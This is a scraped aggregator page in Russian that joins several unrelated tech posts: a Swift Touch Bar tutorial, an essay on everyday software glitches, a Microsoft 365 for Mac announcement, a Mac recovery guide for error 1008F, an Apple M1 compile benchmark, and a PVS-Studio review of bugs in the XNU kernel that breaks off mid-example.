  7. Добавляем элементы Touchbar на WindowController

    1. Используя Add Editor on <<side>>, открываем два редактора, в одном обработчик, в другом Storyboard.

    2. С зажатой клавишей Control, перетаскиваем Button как показано на рисунке. И добавляем имя переменной (какое хотите).

      Вот такая паутина спайдермена пуляете её прямо в код!Вот такая паутина спайдермена пуляете её прямо в код!
    3. Так же делаем с View, важно перетаскивает не Touch Bar View айтем, а то что находится вложенным в View Controller.

На этом этап подготовительных работ закончен, и начинается реализация чего угодно.
Давайте для примера сделем кнопку, которая показывает гифку котика, после чего меняется своё название и по второму нажатию прячет котика.

Отобразим через Window -> Touch Bar -> Touch bar (2nd generation) сам тачбар, что бы я мог показать результат, например ><&

Вся работа будет с файлом `WindowController.swift`, кто ещё помнит, этот тот контроллер, который мы подключили к Storyboard.

Названия и вид переменных :

    @IBOutlet weak var switcher: NSButton!    @IBOutlet weak var image_view: NSImageView!

Допишем вызов функции установки изображения:

   override func windowDidLoad() {            super.windowDidLoad()            switcher.action = #selector(self.set_image)        }

и допишем саму фунцию :

        @objc func set_image(){          //Ссылаемся на наш Bundle            let app_bundle = Bundle.main//Если анимации нету, то нету и изображения            if (!image_view.animates) {//Берём путь относительно нашего Bundle, файл называется nyan.gif            let path = app_bundle.path(forResource: "nyan", ofType: "gif")!              // Добавляем файл в качестве изображения к кнопке с image view                image_view.image = NSImage.init(byReferencingFile: path)// Говорим что она движется                image_view.animates = true              // Меняем названия кнопки-триггера, что бы она показывала действия спрятать изображение                 switcher.title = "de-nyanifaction"            } else {              // Точно так же если изображение спрятано меняем title кнопки                switcher.title = "nyanifaction"              // Тот самый момент, что, если нету анимации то нету изображения                image_view.animates = false              // Убираем изображение                image_view.image = nil;            }        }

Весь файл (обработчика) целиком :

////  WindowController.swift//  nyan_warrior////  Created by nanallew on 05.05.2021.//import Cocoaclass WindowController: NSWindowController {    @IBOutlet weak var switcher: NSButton!    @IBOutlet weak var image_view: NSImageView!            @objc func set_image(){            let app_bundle = Bundle.main            if (!image_view.animates) {            let path = app_bundle.path(forResource: "nyan", ofType: "gif")!                image_view.image = NSImage.init(byReferencingFile: path)                image_view.animates = true                switcher.title = "de-nyanifaction"            } else {                switcher.title = "nyanifaction"                image_view.animates = false                image_view.image = nil;            }        }        override func windowDidLoad() {            super.windowDidLoad()            switcher.action = #selector(self.set_image)        }    }

Запускаем приложения и смотрим на бар :

Какая полезная фичаКакая полезная фича

На этом всё друзья, спасибо за внимание.

Github rep. as a source.

Подробнее..

Перевод Люди подозревают, что технологии отстой, потому что они на самом деле отстой

05.04.2021 16:10:13 | Автор: admin
image


Джей Ситтер в своей статье "Люди подозревают, что технологии отстой" пишет о людях, которые продолжают использовать технологии, несмотря на серьезные неприятности, такие как очень тусклый экран или постоянные всплывающие окна, и ничего не делают с этим. Он делает вывод:

Если бы мой экран был на 5% яркости или если бы я не мог использовать свой телефон, не нажимая Отмена каждые пять секунд, я бы тратил часы или дни на Google, пытаясь найти решение, если бы это было то, что мне нужно. То, что эти люди в основном просто мирились проблемами, означает, что для них эти проблемы не могли быть заметно хуже, чем сама технология в своей основе.


Эти примеры немного экстремальны, но важно помнить, что они реальны. Это не преувеличение. Это происходило.

В обсуждениях в Твиттере люди продолжают отвечать, что этим пользователям следует:

  • сделать что-нибудь с этим,
  • искать замену,
  • или просто не делать ничего.


И я бы согласился: если бы это был единичный случай, конечно, надо было бы что-то с этим сделать! Дело в том, что это происходит постоянно, каждый день, несколько раз в день, и один человек может посвятить этому лишь определенное количество времени. Поток мелких неприятностей настолько велик, что люди просто устали иметь с ними дело! И нет, лучшей альтернативы нет.

Чтобы доказать свою точку зрения, я решил записывать каждое прерванное действие в течение одного дня. Вот полный список, который я написал вчера, 24 сентября 2020 года:

На iPhone:

  • iOS 14 разряжает аккумулятор телефона от 80% до 20% за ночь (нет активности, намного хуже, чем iOS 13).
  • YouTube.app случайным образом прокручивается вверх.
  • Instagram сбрасывает положение прокрутки после блокировки/разблокировки телефона.
  • Состояние гонки на клавиатуре в DuoLingo во время набора текста.
  • AirPods просто случайным образом повторно подключались во время использования.
  • Shortcuts.app перестал реагировать на прикосновения примерно на 30 сек.
  • Интересно, почему мои приложения не обновлены, обнаружил девять приложений, ожидающих нажатия кнопки вручную.
  • Курсор Workflowy скрыт за панелью инструментов Workflowy, ввод текста происходил за клавиатурой:

  • AirPods показывали уведомление о подключении, но звук воспроизводился из динамика.
  • Разблокировка паролем сработала только с третьего раза.
  • Виджет облачности исчез при переключении на другое приложение.
  • YouTube забыл видео, которое я только что смотрел после блокировки/разблокировки телефона.
  • YouTube забыл о разрешении, которое я выбрал для видео, продолжая сбрасывать меня до 360p на экране 750p.


В macOS:

  • Потерян 1 час в попытках подключить монитор 4k @ 120 Гц к MacBook Pro.
  • Автозаполнение даты в рабочем процессе предлагает мне даты в 2021 году вместо 2020 года.
  • В контекстном меню macOS Теги выделены меньшим шрифтом:

    image
  • Transmission неожиданно закрылось.
  • Magic Trackpad не подключался сразу после загрузки, отображалось окно Нет трекпада.
  • Hammerspoon не загружал профиль при загрузке.
  • Telegram застрял с одним счетчиком непрочитанных сообщений.
  • При подключении iPhone для зарядки требуется обновление программного обеспечения.


Интернет:

  • Перетаскивание изображения из Firefox не работает, пока я не открою его на отдельной вкладке.
  • В embed отключен полноэкранный режим YouTube.
  • Загрузился Slack, я начал набирать ответ, потом он перезагрузился.
  • Твиттер обрезал важные части моего изображения, поэтому мне пришлось вручную кешировать его.
  • TVTime не удалось отметить серию как просмотренную.


Apple TV:

  • Infuse потребовалось 10 минут, чтобы получить ~ 100 имен файлов из общего ресурса smb.


Все это произошло за один случайный день! И не особо загруженный. И я не включил в список то, что делал в тот день (только VirtualBox может составить такой список за 20 минут). И я профессиональный разработчик программного обеспечения, 20 лет ежедневно работаю за экраном, пытаясь приручить его. Я полагаю, что моя структура использования уже организована более тщательно, чем у обычного человека. Я также использую самые дорогие продукты Apple и остаюсь строго внутри экосистемы Apple.

Если бы я решил потратить время на то, чтобы сократить этот список, что я теоретически мог бы сделать? Обновить где-нибудь программное обеспечение, чтобы я мог заряжать свой iPhone без отображения всплывающего окна каждый раз? Купить новый MacBook, совместимый с монитором? Думаю, я могу что-то сделать с Hammerspoon, хотя я уже потратил на это два часа и не решил. Но я чувствую, что это все решаемо.

В любом случае, это все уменьшит список с 27 неприятностей до 24! Как минимум 24 неприятности в день, с которыми мне приходится жить. Это тот мир, в котором М ВСЕ живем сейчас. Добро пожаловать.
Подробнее..

Новые возможности Microsoft 365 для Mac

24.12.2020 10:15:09 | Автор: admin


Недавно мы анонсировали ряд улучшений для Mac, в частности новые версии приложений Microsoft 365 для компьютеров Mac на базе процессора M1. Благодаря этому повысится производительность офисных приложений Microsoft на последних моделях MacBook Air, MacBook Pro и Mac mini. Новые приложения Office являются универсальными, поэтому также будут работать на компьютерах Mac на базе процессоров Intel. Интерфейс новых версий приложений оптимизирован в соответствии со стилем операционной системы macOS Big Sur.

  • Обновленная версия интерфейсаOfficeStart. Новая версия приложений Word, Excel, PowerPoint и OneNote для Mac будет включать в себя элементы дизайна Fluent UI, а также операционной системы macOS Big Sur. Новый интерфейс Office Start станет доступен в следующем месяце.
  • Перевод данных таблиц из фотографий вExcel. Благодаря приложению Data from Picture пользователи смогут фотографировать таблицы на iPhone и превращать их в данные, которые можно редактировать в Excel для Mac.



  • Настройка представления листа вExcelдляMac. Функция позволит настраивать представление листа для других пользователей во время сортировки и фильтрации данных, чтобы не нарушать отображение информации для коллег во время совместной работы над файлами.
  • Обновленное окно поиска в офисных приложенияхпозволит быстро перейти к необходимым инструментам Office, просто введя нужный запрос в Word, Excel, PowerPoint или OneNote для Mac.
  • Поддержка учетных записейiCloudв новомOutlookдляMac. Благодаря этому пользователи смогут организовать работу с личными и рабочими электронными письмами, контактами и календарями в одном приложении. Новая функция появится в приложении в ближайшие недели.

Подробнее на английском языке
Подробнее..

1008F или как раскирпичить свой Mac

29.12.2020 16:19:06 | Автор: admin

Всем привет! В этом посте речь пойдет о бесконечном режиме восстановления macOS, ошибках 1008F, 2003F, 2004F и о том как их побороть.

Подобные ошибки можно встретить при попытке выполнить Internet Recovery своего Mac, а причин побуждающих к этому действию - множество. В моем случае, дело было так..

Предыстория

Одним осенним прохладным днем, пришло мне обновление Xcode 12.2 , а вместе с ним и macOS Big Sur. После обновления Xcode, он стал жутко тормозить, зависать, вылетать и терять последние изменения. Через несколько попыток переустановки Xcode, было принято решение обновиться до Big Sur. В принципе, проблему это не решило, зато багов докинуло. Затем, начался процесс переустановки macOS Big Sur с загрузочной флешки и из проблем осталось только отсутствие поддержки симуляторов iOS < 12. Для меня это было критично (#яжеразработчик) и,не долго думая, было решено вернуть обратно macOS Catalina.

Тут стоить отметить, что далее речь идет о MacBook pro 2018 с чипом безопасности T2, опыт работы с macOS с точки зрения откатов, переустановок, загрузочных дисков и т.п. имелся богатый, а потому..ничто не предвещало беды.

Поехали!

Мне было лениво делать загрузочную флешку, поэтому идея с Internet Recovery показалась заманчивой (более того эту процедуру я уже обкатывал ранее на MacBook pro 2013). Далее список действий, которые повторять НЕ НАДО:

1. загрузка в рекавери (cmd + R);

2. форматирование жесткого диска;

3. запуск Internet Recovery на версию, которая поставлялась при продаже MacBook (или близкую к ней (Shift-Option-Command-R при загрузке Mac).

**более подробно о сочетаниях клавиш можно прочитать тут

После всех этих нехитрых манипуляций мы получаем не Mac, а кирпич, который игнорит все подряд и валится в вечный Internet Recovery с ошибкой 1008F.

1008F

1008F - это ошибка, указывающая на то, что ваш Mac заблокирован на серверах Apple. Звучит страшно. Решается просто, но не всегда.

Дальше у вас, как говорится, два путя:

Путь простой:

1. Зайти в учетную запись icloud;

2. Выбрать "Найти iPhone";

3. Переключить дроп-лист на пункт "Все устройства":

4. Выбрать проблемный MacBook и нажать "удалить из Найти айфон";

5. Зайти в программу бета-тестирования;

6. Покинуть программу:

После этого можно попробовать восстановиться еще раз. К сожалению, данный способ мне не помог.

Я позвонил в службу поддержки Apple, где мне сообщили о том, что в моем случае 1008F возникает исключительно из - за плохого интернета (на самом деле из-за плохого интернета возникают ошибки 200+F). Также, мне посоветовали обратиться в авторизованный сервис (что логично) т.к. там и специалисты граммотные, и интернет хороший. Тут стоить отметить, что претензий к поддержке Apple я не имею. Было опробовано несколько Wi-Fi сетей в т.ч. и с мобильных устройств. Итог один - не помогло.

Путь сложный:

Далее возникла идея: поскольку жесткий диск несъёмный, слишком дорого было бы для Apple решать такие вопросы заменой материнских плат. Должна была быть какая-то лазейка, типа DFU режима, который был очень популярен на айфонах 3gs и 3g. Легкий гуглинг навел меня на несколько интересных статей: тут и тут. Дублировать содержимое статей смысла не вижу, в целом, они о том как вводить Mac в DFU режим и как с ним работать.

1. Нам нужен еще один Mac (к счастью такой нашелся);

2. Соединяем наш Mac (клиент) со вторым Mac (сервер) кабелем питания UCB-C - UCB-C(руководство по ссылкам выше);

3. Скачиваем на Mac (сервер) утилиту Apple Configurator 2 и запускаем ее;

4. Вводим Mac (клиент) в DFU;

5. В утилите Apple Configurator 2: Правая кнопка мыши > Actions > Advanced > Revive Device:

6. После того как все loading - индикаторы прокрутятся:

а на Mac (клиент) произойдет вот это:

нужно попробовать запустить процедуру восстановления через Shift-Option-Command-R.

7. Если вы по прежнему получаете 1008F (не 2003F, 2004F - о них позже), переходите к п8.

8. Требуется повторить действия с п.1 по п.4. После чего выбрать Apple Configurator 2 пункт Restore.

9. У вас надеюсь все будет хорошо, а вот я получил сообщение об ошибке:

что-то типа такого, только код был другой.

10. Далее я вывел Mac (клиент) из DFU режима и загрузил его через Shift-Option-Command-R.

11. Начался заветный процесс восстановления, который переодически падал в ошибки 2003F и 2004F.

2003F, 2004F

2003F, 2004F - это ошибки связанные с нестабильным, медленным интернет соединением. Поговаривают, что есть и другие 200+F ошибки, но их я на своем пути не встретил.

Тут стоить отметить, что интернет-провайдер у меня полное расстройство, поэтому решение было следующим:

  1. На роутере я прописал DNS: основной сервер 8.8.8.8, альтернативный 8.8.4.4;

  2. Сделал WI-FI сеть без пароля, но с фильтрацией по MAC - адресам, поскольку наткнулся на информацию о том, что Mac в процессе Internet Recovery может забывать пароль от WI-FI;

  3. Также могут помочь сброс NVRAM или PRAM;

  4. Запускать Mac через Shift-Option-Command-R, можно даже после того, как вы получили ошибку 200+F. Бывают случаи, когда загрузка происходит не с первого раза;

  5. В моем случае, я дождался 6 утра, пока основные пользователи моего провайдера спят, а в Купертино - ночь, значит нагрузка на сервера Apple значительно меньше. Загрузил Mac через Shift-Option-Command-R и случилось чудо.

  6. Дальше у меня загрузился Recovery macOS Mojave, т.к. именно с ней поставлялся MacBook. В дисковой утилите жесткий диск определялся как неизвестное устройство, после форматирования его со схемой разделов GUID, установка macOS продолжается в обычном режиме.

Заключение

На всю эту историю у меня ушло в сумме около трех дней, поэтому если этот пост сэкономит кому-нибудь хоть каплю времени и нервов - будет отлично. Тем не менее, прошу обратить внимание: описанное выше происходило со мной, у вас может быть иначе. Все действия вы выполняете на свой страх и риск. От себя - я бы рекомендовал перед переустановкой macOS включать загрузку с USB - носителей, отвязывать Mac от учетки и выполнять установку с флешки. Жалею ли я о том, что не сделал так сам? - Нет :)

Желаю вам легких апдейтов, даунгрейдов и вообще поменьше багов и лагов.

Подробнее..

Безопасный downgrade macOS Big Sur (без 1008F)

06.01.2021 18:12:51 | Автор: admin

Недавно, я писал о том, как решить проблему с вечной ошибкой 1008F при попытке откатить macOS Big Sur до macOS Catalina через Internet Recovery. Как показал опрос, есть необходимость рассказать про способ отката macOS Big Sur без ошибки 1008F. Причин для отката может быть масса, и если вы обладатель одной из них, то этот пост для вас. Главное помнить о том, что описанный ниже метод приведет к полному стиранию данных с вашего компьютера Mac. Все далее описанное, происходило с MacBook pro 2019 с чипом безопасности T2 и HDD (256 GB) 2,5 в USB - кейсе.

Подготовка учетной записи

Первое что нам понадобится сделать - отключить функцию найти Mac и выйти из программы бета-тестирования:

  1. Для отключения функции "Найти Mac", перейдите в "Системные настройки" -> Apple ID

2. "Найти Mac" -> Параметры

3. Нажмите кнопку "Выключить", после чего опция должна выглядеть так:

4. Для отключения программы бета-тестирования перейдите по ссылке

5. Войдите в свою учетную запись:

6. Покиньте программу:

После этих нехитрых манипуляций, можно приступать к созданию загрузочного диска.

Подготовка USB - накопителя

1. Подключите внешний USB - накопитель к вашему компьютеру Mac

2. Запустите дисковую утилиту

3. Выберите "Показать все устройства"

4.

Выберите верхний уровень вашего устройства (в моем случае JMicron Tech Media (0 на рис.)) -> Стереть (1 на рис.), задайте требуемые параметры (2, 3, 4 на рис.) и нажмите кнопку "Стереть" (5 на рис.)

Теперь внешний USB - накопитель подготовлен, осталось записать на него установочный образ macOS Catalina.

Создание установщика macOS Catalina

1. Перейдите по ссылке, после чего должен открыться AppStore

2. Нажмите кнопку загрузить, затем в диалоговом окне подтвердите загрузку

3. Дождитесь окончания загрузки

4. После завершения загрузки, появится сообщение об ошибке (это нормально)

5. Требуется закрыть ошибку и перейти в "Программы"

6. На "Установка macOS Catalina" нажмите правую кнопку мыши -> "Показать содержимое пакета" и перейдите в папку "Resources"

7. Откройте терминал и перетащите туда "createinstallmedia"

8. После чего допишите --volume

9. Левой кнопкой мыши, выберите любое пустое место на рабочем столе, нажмите Shift + Command + G и в появившемся окне введите /volumes -> "Перейти"

9. В открывшемся окне, вы должны увидеть устройство bootable (если во время подготовки USB - накопителя вы называли его также как на рис.)

10. Перетащите bootable в терминал. На этом шаге у вас должна получиться следующая команда:

11. Нажмите Enter -> y -> Enter

12. Дождитесь завершения операции

Поздравляю! Основная часть работы уже проделана. Осталось только загрузиться с подготовленного USB - накопителя.

Загрузка Mac для установки macOS Catalina

1. Выключите Mac, после чего включите его удерживая Command + R, до тех пор пока у вас не откроется экран с утилитой восстановления системы.

2. Перейдите в "Утилиты" -> "Утилита безопасной загрузки"

3. Введите пароль от macOS

4. Задайте конфигурацию как на рисунке

5. Перезагрузите Mac. Во время перезагрузки, удерживайте клавиши Alt

6. Если вы все сделали верно, у вас должен появиться выбор загрузочного диска. Нужно выбрать "Install macOS Catalina"

Установка macOS Сatalina

Процесс установки macOS Catalina происходит в обычном режиме. Единственное что нужно сделать перед этим - отформатировать жесткий диск Mac. В macOS Big Sur появился дополнительный раздел Update, который в macOS Catalina не используется. Перед установкой в дисковой утилите требуется

1. Стереть текущий раздел с данными

2. Выбрать раздел "Update" -> Правая кнопка мыши -> Удалить том APFS

3. После чего можно начинать установку macOS Catalina в обычном режиме

Заключение

Надеюсь, этот пост поможет вам без проблем откатиться на macOS Catalina и избежать встречи с ошибкой 1008F. Процесс отката старался описать максимально детально и просто. Если у вас остались какие-либо вопросы, с радостью на них отвечу.

Желаю вам легких апдейтов, даунгрейдов и вообще поменьше багов и лагов.

Подробнее..

Перевод Компиляция CC на Apple M1

02.12.2020 20:12:10 | Автор: admin


Заинтригованный впечатляющими бенчмарками M1, я достал последний Mac Mini, чтобы замерить скорость компиляции на C/C++.

Измеряем локальный build2 (без репозитория пакетов), который включает преимущественно код на C++ (611 единиц трансляции) с некоторыми блоками на C (29) и связками между ними (19). Такой бенчмарк требует только компилятора C++ и входит в тестовый набор Phoronix, поэтому можно сравниться с большим количеством процессоров.

Бенчмарк Phoronix в настоящее время использует build2 0.12.0, у нас 0.13.0 (текущий релиз), здесь сборка выполняется примерно на 10% медленнее.

После настройки Mac OS и установки инструментов командной строки для XCode 12.2 у нас есть всё необходимое:

$ clang++ --versionApple clang version 12.0.0 (clang-1200.0.32.27)Target: arm64-apple-darwin20.1.0

Судя по _LIBCPP_VERSION в заголовке __version файла libc++, эта версия Apple Clang ответвилась от ванильного Clang где-то в процессе разработки 10.0.0.

Возможно, вы также заметили, что название процессора в триплете Apple Clang отличается от стандартного aarch64. На самом деле config.guess показывает следующее:

$ ./config.guessaarch64-apple-darwin20.1.0

Чтобы не использовать два названия для одного и того же, build2 канонизировал arm64 в aarch64, поэтому в buildfiles мы всегда видим aarch64.

Проверим количество аппаратных потоков в sysctl:

$ sysctl -n hw.ncpu8

Здесь 8 потоков, это 4 производительных ядра и 4 энергоэффективных. В первом прогоне задействуем все ядра. Очевидно, это даёт наилучший результат:

$ time sh ./build2-install-0.13.0.sh --local --yes ~/install163s

Приятным сюрпризом оказалось то, что build2 0.13.0 заработал без особых проблем, хотя он вышел раньше M1. Поскольку в ARM слабое упорядочение памяти, это также послужило дополнительной проверкой многопоточной реализации build2 и интенсивного использования атомиков.

Для начала сравним M1 с моей рабочей станцией на 8-ядерном Intel Xeon E-2288G (по сути, i9-9900K плюс ECC). Та же сборка на ванильном Clang занимает 131с. Хотя это лучший результат, но производительность M1 всё равно впечатляет. Особенно если учесть, что во время компиляции рабочая станция буквально изрыгает горячий воздух и гудит как самолёт, а М1 тихо шуршит с едва заметным потоком тёплого воздуха.

Однопоточный бенчмарк оценивает производительность CPU в инкрементальных билдах:

$ time sh. /build2-install-0.13.0.sh --local --yes-j 1 ~ / install691s

Ядро E-2288G справляется за 826 секунд. Таким образом, ядро Xeon на 5ГГц на самом деле медленнее, чем ядро M1 на 3,2 ГГц.

Еще один интересный результат четырёхпоточный прогон, который использует только производительные ядра М1:

$ time sh ./build2-install-0.13.0.sh --local --yes -j 4 ~/install207s

Хотя он несколько медленнее восьмиядерного теста, но зато использует меньше памяти. Таким образом, такой вариант имеет смысл на системах с недостатком оперативной памяти (как на всех современных машинах M1).

Вот краткое изложение всех результатов:

CPU   CORES/THREADS  TIME-------------------------E-2288G    8/16      131sM1         4+4       163sM1         4         207sM1         1         691sE-2288G    1         826s

Понятно, что во многих отношениях это сравнение яблок с апельсинами (рабочая станция против мобильного устройства, старый дизайн и техпроцесс против самого современного и т.д.)

Теперь добавим несколько интересных результатов из бенчмарка Phoronix. В частности, уместно взять показатели новейших рабочих станций и мобильных процессоров Intel и AMD. Вот моя подборка (можете составить собственную, только не забудьте добавить дополнительные 10% к результатам Phoronix; также обратите внимание, что в большинстве тестов используется GCC вместо Clang):

CPU                    CORES/THREADS  TIME------------------------------------------AMD   Threadripper 3990X    64/128    56sAMD   Ryzen        5950X    16/32     71sIntel Xeon       E-2288G    8/16      131sApple                 M1    4+4       163sAMD   Ryzen        4900HS   8/16      176s*Apple                 M1    4         207sAMD   Ryzen        4700U    8/8       222sIntel Core         1185G    4/8       281s*Intel Core         1165G    4/8       295s* Экстраполяция.

Обратите внимание, что результаты для лучших мобильных Intel (1185G) и AMD (4900HS), к сожалению, ещё не доступны, и приведённые цифры экстраполированы на основе частоты и других бенчмарков.

Из приведённой выше таблицы легко понять, что Apple M1 впечатляющий процессор, особенно с учётом энергопотребления. Более того, это первый общедоступный ARM-процессор настольного класса. Для сравнения, та же сборка на Raspberry Pi 4B занимает 1724 секунды, то есть более чем в 10 раз медленнее! Хотя мы не можем тут загрузить Linux или Windows, но есть некоторые свидетельства, что они работают на виртуальных машинах с приличной производительностью. В итоге, конвейер непрерывной сборки на базе ARM может стать стандартным.

Увидев бенчмарки M1, невольно задаёшься вопросом, как Apple такое удалось. Хотя есть много спекуляций с некоторыми элементами чёрной магии и колдовства, но вполне хорошим источником технической информации мне показалась эта статья о M1 на Anandtech (и ещё одна там по ссылке). Основные моменты:

Процесс TSMC 5 нм
По сравнению с интеловскими 10 нм (для 11x5G, 14нм для E-2288G) и 7нм у AMD/TSMC.

LPDDR4-4266 RAM
Только новейшие мобильные процессоры от Intel и AMD работают с такой быстрой памятью.

Большой кэш L1
У M1 необычно большой кэш L1 для команд и данных.

Большой и быстрый общий кэш L2
В отличие от процессоров Intel и AMD, которые используют отдельные кэши L2 меньшего объёма и большой, но более медленный общий кэш L3, в процессоре M1 реализован быстрый и большой общий кэш L2.

Широкое ядро
У M1 необычайно широкое ядро, которое выполняет несколько инструкций параллельно и/или не по порядку. Есть предположение, что из-за слабого упорядочения памяти ARM и кодирования команд фиксированного размера, Apple смогла сделать гораздо более широкое ядро.

Было бы также интересно посмотреть, как Apple сможет масштабировать эту конструкцию на большее количество ядер.
Подробнее..

Ядро macOS, есть ли червячки в этом яблоке?

29.03.2021 12:16:08 | Автор: admin

0818_XNU_MacOS_Kernel_ru/image1.png


В самом начале этого года Apple выложили в открытый доступ исходный код системных компонентов macOS 11.0 Big Sur, включая XNU ядро операционной системы macOS. Пару лет назад исходный код ядра уже проверялся PVS-Studio в связи с выходом анализатора для macOS. Прошло достаточно много времени, и вышел новый релиз исходного кода ядра. Почему бы и не провести повторную проверку.


Что это за проект, Apple и open-source?


XNU X is Not Unix используется и разрабатывается Apple в качестве ядра операционных систем OS X. Исходные коды этого ядра 20 лет назад были опубликованы под лицензией APSL (Apple Public Source License) вместе с OC Darwin. Раньше Darwin можно было даже установить в качестве полноценной операционной системы, однако теперь это стало невозможно. Причиной публикации исходного кода является тот факт, что он во многом основан на других open-source проектах.


Исходные коды компонентов можно найти тут. Для проверки я использовала зеркало проекта на GitHub.


Предыдущая проверка


Как я уже упомянула, этот проект ранее проверялся нами с помощью PVS-Studio. С предыдущими результатами можно познакомиться в статье: "Релиз PVS-Studio для macOS: 64 weaknesses в Apple XNU Kernel". После публикации мой коллега Святослав также отправил статью разработчикам на почту, но ответа не получил. Так что я предполагаю, что наша проверка никак не связана с исправлениями, которые мы дальше рассмотрим. Разработчикам пришлось искать их другим путём. А могли бы просто взять и запустить PVS-Studio :). Сейчас, после публикации статей, мы в основном пишем об этом в GitHub репозиторий проекта.


Мне стало интересно, были ли исправлены ошибки, описанные в предыдущей статье, или всё так и осталось. Большинство из найденных ошибок действительно были исправлены. Это показывает, что отобранные предупреждения анализатора оказались верными. Хотя для написания статьи с отчётом работал человек, не участвующий в разработке XNU, то есть близко не знакомый с этим исходным кодом.


Я приведу здесь несколько примеров исправлений. Но, чтобы не раздувать объём статьи, не буду полностью приводить объяснение ошибок. Если из исправления будет неясно, в чём была проблема, то вы всегда можете обратиться к первой статье по проверке этого проекта. Я не буду разбирать все исправленные фрагменты, большинство из фрагментов всё-таки было поправлено. А фрагментов в предыдущей статье было ни много ни мало 64!


Перейдём к рассмотрению исправлений примеров из прошлой статьи.


Фрагмент N1, в котором член класса сравнивался сам с собой:


intkey_parse(      struct mbuf *m,      struct socket *so){  ....  if ((m->m_flags & M_PKTHDR) == 0 ||      m->m_pkthdr.len != m->m_pkthdr.len) {    ....    goto senderror;  }  ....}

Был исправлен следующим образом:


0818_XNU_MacOS_Kernel_ru/image2.png


Где макрос, из которого получена переменная orglen, выглядит следующим образом:


#define PFKEY_UNUNIT64(a) ((a) << 3)

Выходит, что анализатор оказался прав: сравнение было некорректным и должно было проводиться с переменной orglen, которая даже присутствовала в коде до исправления.


Еще один пример исправления, который я хочу привести здесь, фрагмент N5, где знак равно всё-таки был исправлен на проверку на равенство.


0818_XNU_MacOS_Kernel_ru/image3.png


Накосячить в условии assertf одно, но ещё и перезаписать переменную для отладочной версии такое точно стоит поправить.


Фрагменты 6 и 7 были исправлены одинаково. Оказалось, что во вложенной проверке перепутали значение перечислителя для сравнения. Вместо PBUF_TYPE_MBUF во внутренней проверке должен быть элемент PBUF_TYPE_MEMORY в обоих случаях.


0818_XNU_MacOS_Kernel_ru/image4.png


В случае фрагментов N8, 9, 10 исправление было таким:


0818_XNU_MacOS_Kernel_ru/image5.png


На это исправление я обратила внимание, так как серьёзная часть коммита в целом (обновление репозитория до xnu-4903.270.47 от 11 января) содержит помимо прочего много правок код-стайла. Это может указывать на то, что для данной версии кодовая база была подчищена с помощью разных инструментов качества кода. Что сделает эту проверку PVS-Studio более интересной. Ведь видно, что качество кодовой базы уже было улучшено другими инструментами.


Что касается фрагментов 11, 12, 13, 14 был исправлен только фрагмент 11:


0818_XNU_MacOS_Kernel_ru/image6.png


Остальные остались прежними. Похоже, кто-то невнимательно прочитал наш отчёт ;) (или отчёт анализатора, использованный для улучшения качества кода в этом коммите). Приведу здесь код, на который было выдано одно из предупреждений, чтобы не было сомнений в аналогичности ошибки:


static intkauth_resolver_getwork(user_addr_t message){  struct kauth_resolver_work *workp;  int error;  KAUTH_RESOLVER_LOCK();  error = 0;  while ((workp = TAILQ_FIRST(....)) == NULL) { // <=    thread_t thread = current_thread();    struct uthread *ut = get_bsdthread_info(thread);    ut->uu_save.uus_kauth.message = message;    error = msleep0(....);    KAUTH_RESOLVER_UNLOCK();    /*     * If this is a wakeup from another thread in the resolver     * deregistering it, error out the request-for-work thread     */    if (!kauth_resolver_identity) {      printf("external resolver died");      error = KAUTH_RESOLVER_FAILED_ERRCODE;    }    return error; //<=  }  return kauth_resolver_getwork2(message);}

Предупреждение PVS-Studio: V612 An unconditional 'return' within a loop. kern_credential.c 951


Я привела код почти целиком, чтобы можно было сформировать общее представление о том, что происходит в этой функции. В случае отмеченного цикла при выполнении условия входа в него будет совершён один проход по телу цикла, завершающийся возвращением error. Видимо, подразумевалось, что если выполняется условие (workp = TAILQ_FIRST(....)) == NULL, то нужно найти причину ошибки и завершить функцию возвращением информации об ошибке. Однако по какой-то причине вместо if был написан while, как и во фрагменте из предыдущей статьи. Строчка error = msleep0(....) выглядит в коде таким образом:


error = msleep0(&kauth_resolver_unsubmitted,                kauth_resolver_mtx,                PCATCH,                "GRGetWork",                0,                 kauth_resolver_getwork_continue);

Здесь последним аргументом передаётся указатель на функцию kauth_resolver_getwork_continue. В теле этой функции есть условие, аналогичное условию цикла, на который нам указал анализатор. Но в нём уже корректно используется if, а не while.


static intkauth_resolver_getwork_continue(int result){  ....  if (TAILQ_FIRST(&kauth_resolver_unsubmitted) == NULL) {    ....    return error;  }  ....}

В принципе этот код работает немного сложнее, чем я описала. В нём присутствует рекурсия (в методе kauth_resolver_getwork_continue), и, как я поняла, он нацелен на нахождение потоков, которые можно перезагрузить. Но я не стала вдаваться в подробности, так как while всё равно лишний. Возможно, он остался здесь с того времени, когда исходный код выполнял ту же задачу, но без использования рекурсии.


Это примеры из начала статьи. Проскочим в середину и возьмём фрагмент N40. В нём одному и тому же элементу дважды присваивается одно значение:


Предупреждение PVS-Studio: V519 CWE-563 The 'wrap.Seal_Alg[0]' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 2070, 2071. gss_krb5_mech.c 2071


Эта ошибка, конечно же, тоже была поправлена:


0818_XNU_MacOS_Kernel_ru/image7.png


Ну и ближе к концу статьи, фрагмент 62 был исправлен так, как и было предложено в предыдущей статье. Причём это было единственной правкой в том файле.


0818_XNU_MacOS_Kernel_ru/image8.png


Фрагменты 63 и 64 также были исправлены, но там код был изменён капитально. Поэтому понять, какое исправление было именно для рассмотренного предупреждения, сложно.


Новые находки


После этого долгого вступления перейду к ошибкам, которые привлекли моё внимание при последней проверке исходного кода XNU статическим анализатором PVS-Studio. Скажу честно, мне тяжело далась работа с отчётом, так как проект имеет сложный код и у меня нет опыта работы с подобной кодовой базой. Но предупреждения PVS-Studio достаточно подробны и имеют ссылку на документацию с примерами правильного и неправильного кода и описанием возможной проблемы, что очень меня выручило.


К этой проверке cloc насчитал в проекте 1346 *.c файлов, 1822 С/C++ хэдера и 225 *.cpp файлов.


Ну и перейдём к разбору интересных находок.


Фрагмент N1


voidpe_identify_machine(__unused boot_args *args){  ....  // Start with default values.  gPEClockFrequencyInfo.timebase_frequency_hz = 1000000000;  gPEClockFrequencyInfo.bus_frequency_hz      =  100000000;  ....  gPEClockFrequencyInfo.dec_clock_rate_hz =     gPEClockFrequencyInfo.timebase_frequency_hz;  gPEClockFrequencyInfo.bus_clock_rate_hz =   gPEClockFrequencyInfo.bus_frequency_hz;  ....   gPEClockFrequencyInfo.bus_to_dec_rate_den =    gPEClockFrequencyInfo.bus_clock_rate_hz /    gPEClockFrequencyInfo.dec_clock_rate_hz;}

